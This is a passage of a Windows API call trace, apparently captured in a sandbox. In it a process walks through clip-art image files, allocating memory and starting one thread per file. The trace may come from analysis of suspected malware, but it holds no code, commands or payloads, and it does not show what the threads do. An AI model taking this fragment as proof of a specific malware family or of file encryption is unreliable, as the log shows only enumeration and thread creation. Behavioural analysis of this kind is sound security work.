	[0237.050] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1
	[0237.050] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x169c
	[0237.053] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.054] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1
	[0237.054] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a0
	[0237.056] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.057] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1
	[0237.057] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a4
	[0237.059] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.060] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1
	[0237.060] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a8
	[0237.061] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.063] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1
	[0237.063] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ac
	[0237.065] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.065] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1
	[0237.065] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b0
	[0237.069] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.069] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1
	[0237.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b4
	[0237.180] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.181] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1
	[0237.181] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b8
	[0237.183] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.183] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1
	[0237.184] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16bc
	[0237.186] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.186] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1
	[0237.186] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c0
	[0237.188] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.189] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1
	[0237.189] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c4
	[0237.191] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.191] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1
	[0237.191] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c8
	[0237.193] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.194] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1
	[0237.194] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16cc
	[0237.195] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.196] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1
	[0237.196] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d0
	[0237.198] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.199] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1
	[0237.199] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d4
	[0237.201] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.202] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1
	[0237.202] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d8
	[0237.204] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.204] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1
	[0237.204] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16dc
	[0237.206] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.207] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1
	[0237.207] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e0
	[0237.209] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.210] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1
	[0237.210] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e4
	[0237.212] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.213] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1
	[0237.213] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e8
	[0237.281] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.282] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1
	[0237.282] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ec
	[0237.285] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.285] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1
	[0237.285] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f0
	[0237.288] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.289] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1
	[0237.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f4
	[0237.291] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.292] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1
	[0237.292] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f8
	[0237.294] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.294] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1
	[0237.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16fc
	[0237.296] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.297] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1
	[0237.631] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1700
	[0237.634] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.634] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1
	[0237.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1704
	[0237.637] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
